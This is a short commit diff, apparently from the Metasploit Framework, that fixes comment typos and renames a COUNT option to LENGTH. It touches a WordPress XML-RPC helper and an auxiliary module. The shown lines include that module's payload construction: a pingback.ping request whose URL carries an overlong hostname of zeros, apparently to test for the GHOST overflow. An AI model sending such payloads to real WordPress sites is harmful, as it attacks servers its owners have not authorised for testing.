code style and typos

bug/bundler_fix
Christian Mehlmauer 2015-01-30 15:57:32 +01:00
parent 9ce2dd9815
commit 7504358db3
No known key found for this signature in database
GPG Key ID: BCFF4FA966BC32C7
2 changed files with 12 additions and 12 deletions

View File

@ -2,7 +2,7 @@
module Msf::HTTP::Wordpress::XmlRpc module Msf::HTTP::Wordpress::XmlRpc
# Determines if the XMLRPC interface is enabled by sending a demo.sayHello reuqest # Determines if the XMLRPC interface is enabled by sending a demo.sayHello request
# #
# @return [Boolean] true if the interface is enabled # @return [Boolean] true if the interface is enabled
def wordpress_xmlrpc_enabled? def wordpress_xmlrpc_enabled?
@ -19,7 +19,7 @@ module Msf::HTTP::Wordpress::XmlRpc
return false return false
end end
# Extracts the Wordpress version information from various sources # Generates the xml post body for a XMLRPC call
# #
# @param method_name [String] The XMLRPC method to call # @param method_name [String] The XMLRPC method to call
# @param params [String] The XMLRPC method params # @param params [String] The XMLRPC method params

View File

@ -39,12 +39,12 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptInt.new('COUNT', [false, 'Number of iterations', 2500]), OptInt.new('LENGTH', [false, 'Payload length', 2500]),
], self.class) ], self.class)
end end
def count def length
datastore['COUNT'] datastore['LENGTH']
end end
def generate_pingback_xml(target, valid_blog_post) def generate_pingback_xml(target, valid_blog_post)
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
return return
end end
ghost = "0" * count ghost = "0" * length
payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php" payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php"
xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload) xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload)